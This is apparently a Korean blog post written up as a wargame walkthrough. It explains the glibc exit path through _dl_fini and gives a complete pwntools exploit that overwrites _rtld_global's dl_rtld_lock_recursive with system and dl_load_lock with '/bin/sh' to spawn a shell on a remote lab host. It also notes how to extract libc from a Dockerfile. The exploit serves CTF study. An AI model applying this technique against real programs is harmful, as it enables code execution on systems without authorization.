TIL: Overwriting rtld global, Getting libc from Dockerfile
_rtld_global
프로그램 종료 과정
아래와 같은 C 프로그램이 종료되는 과정을 살펴보자.
int main() {
return 0;
}
- stack 최상단에 있는
__libc_start_main+231
을 실행한다. __libc_start_main+231
는__GI_exit
함수를 호출한다.__GI_exit
는__run_exit_handlers
를 실행한다.-
__run_exit_handlers
의 코드void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors) { const struct exit_function *const f = &cur->fns[--cur->idx]; switch (f->flavor) { void (*atfct) (void); void (*onfct) (int status, void *arg); void (*cxafct) (void *arg, int status); case ef_free: case ef_us: break; case ef_on: onfct = f->func.on.fn; #ifdef PTR_DEMANGLE PTR_DEMANGLE (onfct); #endif onfct (status, f->func.on.arg); break; case ef_at: atfct = f->func.at; #ifdef PTR_DEMANGLE PTR_DEMANGLE (atfct); #endif atfct (); break; case ef_cxa: cxafct = f->func.cxa.fn; #ifdef PTR_DEMANGLE PTR_DEMANGLE (cxafct); #endif cxafct (f->func.cxa.arg, status); break; } }
exit_function
structure의 member variable에 따라 함수를 호출한다. return을 실행해 프로그램을 종료할 경우_dl_fini
를 호출한다.
-
_dl_fini
의 코드# define __rtld_lock_lock_recursive(NAME) \ GL(dl_rtld_lock_recursive) (&(NAME).mutex) void _dl_fini (void) { #ifdef SHARED int do_audit = 0; again: #endif for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) { /* Protect against concurrent loads and unloads. */ __rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_lock_recursive
를_dl_load_lock
을 인자로 실행한다.- 매크로를 살펴 보면
__rtld_lock_lock_recursive
는dl_rtld_lock_recursive
라는 함수 pointer이다. dl_rtld_lock_recursive
는_rtld_global
이라는 struct의 member variable로,rtld_lock_default_lock_recursive
라는 함수의 주소를 저장하고 있다. 이 함수 포인터가 저장된 영역은 읽기 및 쓰기 권한이 존재하기 때문에dl_rtld_lock_recursive
를 overwrite할 수 있다.
Exploit 방법
프로그램 종료 과정 중에 실행되는 __rtld_lock_lock_recursive (GL(dl_load_lock));
가 shell을 실행하도록 dl_rtld_lock_recursive
와 dl_load_lock
을 각각 system
, "/bin/sh"
로 overwrite한다.
Wargame: Overwrite _rtld_global
#include <stdio.h>
#include <stdlib.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
long addr;
long data;
int idx;
init();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}
Vulnerability Scanning
*(long long *)addr = data;
→ Arbitrary address writing is availableprintf("stdout: %p\n", stdout);
→ Can get libc_base
Exploit
from pwn import *
#p = process(["./ow_rtld"], env={'LD_PRELOAD':'./libc-2.27.so_18.04.3'})
p = remote("host3.dreamhack.games", 13163)
#gdb.attach(p)
#libc = ELF("./libc-2.27.so_18.04.3")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
ld_base = libc_base + 0x3f1000
rtld_global = ld_base + ld.symbols["_rtld_global"]
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
system = libc_base + libc.symbols["system"]
p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64(b"/bin/sh\x00")))
p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))
p.sendafter("> ", "2")
p.interactive()
- gdb를 이용해 libc_base와 ld_base 사이의 offset, 그리고 ld_base로부터의 rtld_global까지의 offset을 구한다.
- Arbitrary address writing을 이용해
__dl_load_lock
을"/bin/sh"
,__dl_rtld_lock_recursive
를system
으로 overwrite한다.
번외: Dockefile에서 libc, ld 파일 빼내오기
문제에서 제공되는 Dockerfile에서 libc 파일과 ld 파일을 빼내오는 방법을 몰라 꽤 헤맸었다.. 방법을 여기에 적어둔다.
- Dockerfile build하기 - Dockerfile이 있는 directory에서
docker build -t temp:1 .
- Image run하기 -
docker run [image ID]
- cmd를 administrator mode로 실행하기
-
docker cp <옵션> <호스트 내부 파일 경로> <컨테이너 명>:<컨테이너 디렉토리 경로>
이때 만약 symlink 파일이 생성된다면 -L option을 추가해보자.
Leave a comment